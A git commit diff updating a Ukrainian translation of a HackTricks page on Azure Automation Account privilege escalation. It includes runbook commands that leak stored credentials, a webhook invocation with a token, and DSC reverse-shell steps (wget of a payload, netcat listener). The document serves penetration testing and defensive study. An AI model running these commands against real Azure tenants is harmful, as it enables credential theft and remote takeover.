mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+64
-46
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
Для отримання додаткової інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
@@ -12,29 +12,29 @@
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Від облікового запису автоматизації до VM**
|
||||
- **Від Automation Account до VM**
|
||||
|
||||
Пам'ятайте, що якщо якимось чином зловмисник може виконати довільний runbook (довільний код) у гібридному робітнику, він **перейде до місця розташування VM**. Це може бути локальна машина, VPC іншого хмари або навіть Azure VM.
|
||||
Пам'ятайте, що якщо attacker якимось чином зможе виконати довільний runbook (довільний код) у hybrid worker, він **pivot to the location of the VM**. Це може бути on-premise машина, VPC іншого cloud або навіть Azure VM.
|
||||
|
||||
Більше того, якщо гібридний робітник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей VM з сервісу метаданих**.
|
||||
Крім того, якщо hybrid worker працює в Azure з іншими Managed Identities, приєднаними до нього, runbook зможе отримати доступ до **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Пам'ятайте, що **сервіс метаданих** має іншу URL-адресу (**`http://169.254.169.254`**), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (**`IDENTITY_ENDPOINT`**).
|
||||
> Пам'ятайте, що **metadata service** має іншу URL-адресу (**`http://169.254.169.254`**) ніж сервіс, звідки отримується токен Managed Identities для automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Від VM до облікового запису автоматизації**
|
||||
- **Від VM до Automation Account**
|
||||
|
||||
Більше того, якщо хтось зламає VM, на якому працює скрипт облікового запису автоматизації, він зможе знайти метадані **Automation Account** і отримати до них доступ з VM, щоб отримати токени для **керованих ідентичностей**, прикріплених до облікового запису автоматизації.
|
||||
Крім того, якщо хтось compromise VM, на якій виконується скрипт automation account, він зможе знайти метадані **Automation Account** і звернутися до них з VM, щоб отримати токени для приєднаних **Managed Identities** Automation Account.
|
||||
|
||||
Як видно на наступному зображенні, маючи доступ адміністратора до VM, можна знайти в **змінних середовища процесу** URL-адресу та секрет для доступу до сервісу метаданих облікового запису автоматизації:
|
||||
Як видно на наступному зображенні, маючи Administrator доступ до VM, можна знайти в **environment variables of the process** URL і секрет для доступу до automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
У підсумку ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті облікового запису автоматизації та ескалації привілеїв до призначених **керованих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в обліковому записі автоматизації.
|
||||
У підсумку ці дозволи дають можливість **create, modify and run Runbooks** в Automation Account, що можна використати для **execute code** в контексті Automation Account, ескалації привілеїв до призначених **Managed Identities** та leak **credentials** і **encrypted variables**, збережених в Automation Account.
|
||||
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в обліковому записі автоматизації, використовуючи:
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в Automation Account, використовуючи:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в Обліковому записі автоматизації.
|
||||
Зверніть увагу, як попередній скрипт можна використати, щоб **leak the useranmd and password** облікових даних та отримати значення **зашифрованої змінної**, збереженої в Automation Account.
|
||||
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані:
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу опублікувати Runbook в Automation Account, щоб зміни були застосовані:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою:
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачеві запустити Runbook в Automation Account за допомогою:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою:
|
||||
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вивід завдання в Automation Account за допомогою:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться **дозволи `Microsoft.Resources/subscriptions/resourcegroups/read` та `Microsoft.Automation/automationAccounts/runbooks/write`** для цього, використовуючи:
|
||||
Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться **дозволи `Microsoft.Resources/subscriptions/resourcegroups/read` та `Microsoft.Automation/automationAccounts/runbooks/write`**, щоб зробити це за допомогою:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ця дозволяє користувачу **призначити керовану ідентичність користувача** для Облікового запису автоматизації за допомогою:
|
||||
Цей дозвіл дозволяє користувачу **assign a user managed identity** до Automation Account, використовуючи:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
|
||||
Маючи дозвіл **`Microsoft.Automation/automationAccounts/schedules/write`**, можна створити новий Schedule в Automation Account, який виконується кожні 15 хвилин (не дуже приховано), використовуючи наступну команду.
|
||||
|
||||
Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому.
|
||||
Зверніть увагу, що **мінімальний інтервал для schedule — 15 хвилин**, а **мінімальний час початку — не раніше, ніж через 5 хвилин** у майбутньому.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Тоді, з дозволом **`Microsoft.Automation/automationAccounts/jobSchedules/write`** можливо призначити планувальник для runbook за допомогою:
|
||||
Тоді, з дозволом **`Microsoft.Automation/automationAccounts/jobSchedules/write`** можна призначити Scheduler для runbook, використовуючи:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,22 +134,40 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> У попередньому прикладі ідентифікатор jobchedule був залишений як **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` як приклад** але вам потрібно буде використовувати довільне значення для створення цього призначення.
|
||||
> У попередньому прикладі id розкладу завдання було вказано як **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` як приклад**, але для створення цього призначення вам потрібно використати довільне значення.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
З дозволом **`Microsoft.Automation/automationAccounts/webhooks/write`** можливо створити новий Webhook для Runbook всередині Automation Account, використовуючи наступну команду.
|
||||
З дозволом **`Microsoft.Automation/automationAccounts/webhooks/write`** можливо створити новий Webhook для Runbook в Automation Account, використавши одну з наведених команд.
|
||||
|
||||
With Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Ця команда повинна повернути URI вебхука, який відображається лише під час створення. Потім, щоб викликати runbook, використовуючи URI вебхука
|
||||
За допомогою AzureCLI і REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Ці команди повинні повернути webhook URI, який відображається лише під час створення. Потім, щоб викликати runbook за допомогою webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Просто з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та запустити його за допомогою наступних команд.
|
||||
Маючи лише дозвіл `Microsoft.Automation/automationAccounts/runbooks/draft/write`, можна **оновити код Runbook** без публікації й запустити його за допомогою таких команд.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Ця дозволяє користувачу **налаштувати контроль версій** для облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад):
|
||||
Цей дозвіл дозволяє користувачеві **налаштувати source control** для Automation Account за допомогою команд, таких як наведені нижче (в якості прикладу використовується Github):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску буде **можливо підвищити привілеї**.
|
||||
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
|
||||
|
||||
Більше того, пам'ятайте, що для роботи контролю версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це ідентичність, керована користувачем, ідентифікатор клієнта MI повинен бути вказаний у змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Крім того, пам'ятайте, що для роботи source control в Automation Accounts воно повинно мати managed identity з роллю **`Contributor`**, а якщо це user managed identity, client id of the MI має бути вказано в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення.
|
||||
> Зверніть увагу, що неможливо змінити repo URL у source control після його створення.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
З дозволом **`Microsoft.Automation/automationAccounts/variables/write`** можливо записувати змінні в Обліковий запис автоматизації, використовуючи наступну команду.
|
||||
З дозволом **`Microsoft.Automation/automationAccounts/variables/write`** можна записувати змінні в Automation Account за допомогою наступної команди.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -215,51 +233,51 @@ az rest --method PUT \
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища виконання деяким шкідливим кодом (наприклад, **задніми дверима**). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище виконання і завантажує власний пакет, буде виконано шкідливий код.
|
||||
Якщо automation account використовує custom runtime environment, можливо перезаписати custom package цього runtime шкідливим кодом (наприклад, **a backdoor**). Таким чином, щоразу, коли runbook, який використовує цей custom runtime, виконується й завантажує custom package, шкідливий код буде виконано.
|
||||
|
||||
### Compromising State Configuration
|
||||
|
||||
**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Крок 1 — Створення файлів
|
||||
- Step 1 — Create Files
|
||||
|
||||
**Необхідні файли:** Потрібні два скрипти PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Файл Desired State Configuration (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload.
|
||||
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
|
||||
- Крок 2 — Стиснення файлу конфігурації
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
Файл `reverse_shell_config.ps1` стискається в `.zip` файл, що робить його готовим для передачі до Azure Storage Account.
|
||||
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Крок 3 — Встановлення контексту зберігання та завантаження
|
||||
- Step 3 — Set Storage Context & Upload
|
||||
|
||||
Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер Azure Storage, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent Azure.
|
||||
Зіпований файл конфігурації завантажується до попередньо визначеного контейнера Azure Storage, azure-pentest, за допомогою Azure's Set-AzStorageBlobContent cmdlet.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Крок 4 — Підготовка Kali Box
|
||||
- Step 4 — Підготовка Kali Box
|
||||
|
||||
Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub.
|
||||
Сервер Kali завантажує payload RevPS.ps1 з репозиторію GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу.
|
||||
Скрипт редагується для вказівки цільової Windows VM і порту для reverse shell.
|
||||
|
||||
- Крок 5 — Опублікувати файл конфігурації
|
||||
|
||||
Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM.
|
||||
Файл конфігурації виконується, внаслідок чого reverse-shell скрипт розгортається у вказаному місці на Windows VM.
|
||||
|
||||
- Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача
|
||||
- Крок 6 — Розмістити payload та налаштувати listener
|
||||
|
||||
Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань.
|
||||
Запускається Python SimpleHTTPServer для розміщення payload, разом з Netcat listener для перехоплення вхідних з'єднань.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM.
|
||||
Заплановане завдання виконує payload, отримуючи привілеї рівня SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user